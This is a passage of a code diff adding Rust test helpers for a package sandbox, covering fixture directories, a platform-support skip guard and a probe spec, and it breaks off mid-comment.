extra_write_dirs: Vec::new(), + }; + lpm_sandbox::prepare_writable_dirs(&spec).expect("prepare_writable_dirs"); + Self { + spec, + pkg_dir, + project_dir, + _tmp: tmp, + } + } + + pub fn with_extra_write_dirs(mut self, dirs: Vec) -> Self { + self.spec.extra_write_dirs = dirs; + self + } + + /// Root of the fixture's tempdir. Useful for creating siblings + /// of `pkg_dir` / `project_dir` that intentionally fall OUTSIDE + /// the spec's allow list (e.g. escape-corpus probe files). + pub fn tmp_path(&self) -> &Path { + self._tmp.path() + } +} + +/// Returns `Some(sandbox)` if [`new_for_platform`] succeeds in the +/// requested mode, or `None` if the platform/kernel lacks support. +/// Caller-driven skip avoids coupling the test harness to a specific +/// environment (handy for cross-distro CI runners). +pub fn try_build_sandbox(spec: SandboxSpec, mode: SandboxMode) -> Option> { + match new_for_platform(spec, mode) { + Ok(sb) => Some(sb), + Err( + SandboxError::KernelTooOld { .. } + | SandboxError::UnsupportedPlatform { .. } + | SandboxError::ModeNotSupportedOnPlatform { .. }, + ) => None, + Err(other) => panic!("unexpected sandbox init error: {other:?}"), + } +} + +/// True if the host has a working sandbox for the mode. Use as a +/// test-skip guard at the top of each `#[test]`. +pub fn sandbox_supported(mode: SandboxMode) -> bool { + // Cheap synthetic probe — matches the build.rs pre-probe shape. + let home = match dirs::home_dir() { + Some(h) => h, + None => return false, + }; + let probe = SandboxSpec { + package_dir: home.clone(), + project_dir: home.clone(), + package_name: "__probe".into(), + package_version: "0.0.0".into(), + store_root: home.clone(), + home_dir: home.clone(), + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + }; + new_for_platform(probe, mode).is_ok() +} + +/// Run `sh -c